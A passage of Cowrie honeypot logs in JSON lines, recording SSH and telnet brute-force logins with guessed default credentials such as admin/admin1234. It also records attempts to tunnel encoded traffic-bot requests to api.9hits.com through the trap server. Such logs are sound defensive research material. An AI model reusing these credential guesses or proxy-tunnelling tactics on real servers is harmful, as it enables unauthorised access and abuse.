mvmc%2BhxRu7Ayp5csH%2F7ycGXsSsRK434FBKIqRrmBJ%2Fn51H'","id":2,"message":"discarded direct-tcp forward request 2 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1170\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 4.4.2; K010) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=I0RYSmUofnFHUUxBNURVbQ%3D%3DUILn9Eg7DUg%2FF0BuW6jO8LqwbCVXRIfoYPTEShHVMfITwFlZZEEtf8PNRhCJ1cRrfhKei0%2FabuNf0PehbsQRxU%2F6c5fOkxNh3IqPhSqeZftQ3DbY1ihrHvyfH3y1NmouMsxBpUc9gpP470gwHNsiqM2Y8%2F%2Fu7grMSSB3zK1Kqn5bIa6rBLiYGxBRHpDoTdqE6KWXLUsKSyAfPDbs2ZF%2BHj9l2hA3PlBc6BDhezw4K6JbkhLNKwMjev%2B1k61MwqRnWDBqmUzURMsuSRMn5DMZ6pGnV4Bb6iGg6uC4H%2F0H1vyoeIG4%2BMWmecg%2Fiy4%2FEvZm5XyrqiK8acIfXgLHP7MCROIw5YrJTNf9TUkY4C0FwDfjnjOG3cjneOg7Z1%2B2veTb5UhIZqSUogTGJukzW3xymbZhzP7UufRZAzn6CsQhrUSIRzczDBsCexPcsm7XKLlI4yK4QG2kQRRACr81GzVVH7x451NnjMPAMN58kZNPREOR9Hq7rnsGRUqtBlAu6VLPe3%2FNcw8nQuDR4zQHMSnBBTnplXbAw6kYD1GtlRJCKmtLYmdku72o04L4Qq9OPFmShLuQQsNmKy4YumXj43cWIc5K7m5svCU1fykfFLeJpUslqzxVd3KjR%2BgseTi5DDd8s62T3CXg8pRoDMLeVWvAkssgRbFynqcsTUSIPVuW8uyOT%2BxbSLHMcw%2Bnz1VLxLlxvp2yS0cf86ayzNhvjvC19DD3eWBskQivECpJDk4wKt58WpO0gXTo3iT1Y01%2FvmoOiBApeCiuTV7au8rBYceob1RYqjecyn56%2FBGdDxDqf3d3MY4ZIGLbl4q2UU4z%2FSCoiIb4SUeaZNiOZ5V0%2FG3nQAREaUKuHaMLVgj518Xs3E6cxAR7yTzGD52j6BTMsMN1sfqaaFfWcz2V2f3%2BfJPEllM88koQ1mdK1tFUJ1THgxHC0dl5gvEbqzVyCMYzU7oJki8L52aj3HrrNQoV6PAFThgCmKFbqEqivpkp7R3pSt%2Focb4IYx4fWmRxKNTUmasR6N%2BbdnN2u198m6oVNTmvmc%2BhxRu7Ayp5csH%2F7ycGXsSsRK434FBKIqRrmBJ%2Fn51H'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:30:40.456178Z","src_ip":"63.141.242.2","session":"3aff9eb5bbea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:30:40.541593Z","src_ip":"41.90.100.147","session":"ffd92778c2e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ff12345678","message":"login attempt [root/Ff12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:30:41.442081Z","src_ip":"41.90.100.147","session":"ffd92778c2e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:30:42.660822Z","src_ip":"41.90.100.147","session":"ffd92778c2e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.175.50.52","src_port":64071,"dst_ip":"10.17.0.5","dst_port":22,"session":"6a1ee93571f6","protocol":"ssh","message":"New connection: 23.175.50.52:64071 (10.17.0.5:22) [session: 6a1ee93571f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:30:42.938242Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:30:42.942520Z","src_ip":"23.175.50.52","session":"6a1ee93571f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:30:43.083547Z","src_ip":"23.175.50.52","session":"6a1ee93571f6","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:30:44.371548Z","src_ip":"23.175.50.52","session":"6a1ee93571f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.075520277023315,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:30:45.285613Z","src_ip":"128.199.8.54","session":"3c4172d23373","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"28.5","message":"Connection lost after 28.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:30:46.730663Z","src_ip":"63.141.242.2","session":"3aff9eb5bbea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.164.152.20","src_port":65500,"dst_ip":"10.17.0.5","dst_port":22,"session":"a2e9153847e8","protocol":"ssh","message":"New connection: 113.164.152.20:65500 (10.17.0.5:22) [session: a2e9153847e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:30:47.054285Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:30:47.057487Z","src_ip":"113.164.152.20","session":"a2e9153847e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:30:47.362214Z","src_ip":"113.164.152.20","session":"a2e9153847e8","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:30:48.622562Z","src_ip":"113.164.152.20","session":"a2e9153847e8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:30:49.048587Z","session":"a2e9153847e8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:30:49.212768Z","session":"a2e9153847e8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:30:49.324507Z","src_ip":"113.164.152.20","session":"a2e9153847e8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_15) AppleWebKit/537.86.6 (KHTML, like Gecko) Version/9.1.2 Safari/537.86.6\\r\\nConnection: keep-alive\\r\\nContent-Length: 1162\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=PFJjcElETkhnND52ZCFKbQ%3D%3DVQT5FzhXFe7KZvTnkWpPBxNaQgoqefMXZXiANrZKzJ6pgw34XkFdm5x9TV85teAfIBkRnbhCUZOHYXimCinA16tMgQdOLANddOFSB1rIRIv%2FHrxsMsnvuaQx3i6flvuosUy5f2QkH1%2BRy%2Fo6GBJu%2FbzZ1CfDbeacXvKgax9g%2BOywlQXLonnkxcN%2B3HXaEyGXlj2QTjUsBBIhfVkdmoRlobYl3wJJNnE%2FEm7pZiFzXoZl4cDqpOURbEQvI%2F8hMjzwZyHLZU0YRSrWhoHDI1noJqHi1EXbllZwsgCcGGbYjKpY9JpqMVzOxv%2FOmeb%2F70KpejFSFH3zsVEIjvqKpaFya0I%2BybHDTUgI%2FxnA1mladWhImWnfgICUa0Q0teHUc0o3TrkXHVWxxKwOnBvw6tJA2LXkDrZro1lv6H07LsXgAZ%2B5IKRXJkEAeuXTbk3WdW5pE4NA0aKIHMvy7GZwZCMgknEHcte9G3zguk%2BJCB4462Fy%2FOdPg9ycDignwqYxwS4YNd%2F55bgOhQ71mbkgLscY38trGsMV5Hh4BXN8Q4rw28mPdQevCakFR82z5JrlfsF83eT7Gwy%2BB3mRB%2Fr4Bw4N0PxKC%2Bu9LvdLSj6zrdvi9lqPrDT0Zxh4hb77DZoORI%2Bft7G%2B0TiCFhWnQPzVhaN7rJ6q%2BVTp4tx8yeEZyZ2l7HfqxAbaFoKOqX4jhqe0ZHzPKFVihmqYG%2FPuqCI4v4%2B62wUo1AwtnyDVBqT3RRdxAf03Wi8IYSbJQ6frml9rGsQdsMlOscdXDcnlYoxF%2FYIffVkeICBQGKRYdm%2FfexYAscJXG4xVnn4%2BBM9Kp62TQFF0uKvYOr0ZYeqLKTXVlixlRtG4y35uLZCNf6QgnqqFAbColcuBuisgyMcTgAKO1A6DDg0%2BD3oQIK6GS7IEeOn%2F0F9JWttuGtf%2FLRL2oZaPYjhmpWyZ0iovlrlWGBT8yXmZDeXcl0J2wbqLr8TUdM4BvGZWx23W9JUPVE%2FUrJAv6u9phO2Mfr9zlDPPRqHIjMTiGsRaRjjO0Jd97jhwEdCsKTyO983rwyOtw2hb4adY36g%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_15) AppleWebKit/537.86.6 (KHTML, like Gecko) Version/9.1.2 Safari/537.86.6\\r\\nConnection: keep-alive\\r\\nContent-Length: 1162\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=PFJjcElETkhnND52ZCFKbQ%3D%3DVQT5FzhXFe7KZvTnkWpPBxNaQgoqefMXZXiANrZKzJ6pgw34XkFdm5x9TV85teAfIBkRnbhCUZOHYXimCinA16tMgQdOLANddOFSB1rIRIv%2FHrxsMsnvuaQx3i6flvuosUy5f2QkH1%2BRy%2Fo6GBJu%2FbzZ1CfDbeacXvKgax9g%2BOywlQXLonnkxcN%2B3HXaEyGXlj2QTjUsBBIhfVkdmoRlobYl3wJJNnE%2FEm7pZiFzXoZl4cDqpOURbEQvI%2F8hMjzwZyHLZU0YRSrWhoHDI1noJqHi1EXbllZwsgCcGGbYjKpY9JpqMVzOxv%2FOmeb%2F70KpejFSFH3zsVEIjvqKpaFya0I%2BybHDTUgI%2FxnA1mladWhImWnfgICUa0Q0teHUc0o3TrkXHVWxxKwOnBvw6tJA2LXkDrZro1lv6H07LsXgAZ%2B5IKRXJkEAeuXTbk3WdW5pE4NA0aKIHMvy7GZwZCMgknEHcte9G3zguk%2BJCB4462Fy%2FOdPg9ycDignwqYxwS4YNd%2F55bgOhQ71mbkgLscY38trGsMV5Hh4BXN8Q4rw28mPdQevCakFR82z5JrlfsF83eT7Gwy%2BB3mRB%2Fr4Bw4N0PxKC%2Bu9LvdLSj6zrdvi9lqPrDT0Zxh4hb77DZoORI%2Bft7G%2B0TiCFhWnQPzVhaN7rJ6q%2BVTp4tx8yeEZyZ2l7HfqxAbaFoKOqX4jhqe0ZHzPKFVihmqYG%2FPuqCI4v4%2B62wUo1AwtnyDVBqT3RRdxAf03Wi8IYSbJQ6frml9rGsQdsMlOscdXDcnlYoxF%2FYIffVkeICBQGKRYdm%2FfexYAscJXG4xVnn4%2BBM9Kp62TQFF0uKvYOr0ZYeqLKTXVlixlRtG4y35uLZCNf6QgnqqFAbColcuBuisgyMcTgAKO1A6DDg0%2BD3oQIK6GS7IEeOn%2F0F9JWttuGtf%2FLRL2oZaPYjhmpWyZ0iovlrlWGBT8yXmZDeXcl0J2wbqLr8TUdM4BvGZWx23W9JUPVE%2FUrJAv6u9phO2Mfr9zlDPPRqHIjMTiGsRaRjjO0Jd97jhwEdCsKTyO983rwyOtw2hb4adY36g%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:30:49.327907Z","src_ip":"113.164.152.20","session":"a2e9153847e8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:30:49.595442Z","src_ip":"113.164.152.20","session":"a2e9153847e8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x17]\\xabm,\\xa65\\x88\\xbd1>\\xe1\\x92\\xfa\\xfc\\xfc\\xa7\\x05\\xcd\\xc8o\\xf9\\xe5`\\xbd\\xe9T\\xa4i\\x11\\xda, $w|\\xc9\\xa7 \\xfdS:b\\xdewG\\xb4\\x064]^'\\xac\\x9f\\xdcNX\\xef\\x14\\x05a\\x14\\xe9\\xcc\\x8e\\x00 \\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 \\xbe\\xc3\\x0e\\\\\\xcd\\xd1u\\xf7\\x8f\\x13\\xa8\\xa6\\xe4\\xb7\\x05_\\x83\\xec\\xb4\\x02\\n\\x15\\xc9\\x19\\x1d\\xd1T\\x9e\\x12S\\x84N\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x17]\\xabm,\\xa65\\x88\\xbd1>\\xe1\\x92\\xfa\\xfc\\xfc\\xa7\\x05\\xcd\\xc8o\\xf9\\xe5`\\xbd\\xe9T\\xa4i\\x11\\xda, $w|\\xc9\\xa7 \\xfdS:b\\xdewG\\xb4\\x064]^'\\xac\\x9f\\xdcNX\\xef\\x14\\x05a\\x14\\xe9\\xcc\\x8e\\x00 \\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 \\xbe\\xc3\\x0e\\\\\\xcd\\xd1u\\xf7\\x8f\\x13\\xa8\\xa6\\xe4\\xb7\\x05_\\x83\\xec\\xb4\\x02\\n\\x15\\xc9\\x19\\x1d\\xd1T\\x9e\\x12S\\x84N\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:30:49.598424Z","src_ip":"113.164.152.20","session":"a2e9153847e8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:30:50.151707Z","session":"a2e9153847e8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:30:50.430321Z","src_ip":"113.164.152.20","session":"a2e9153847e8","protocol":"ssh"}
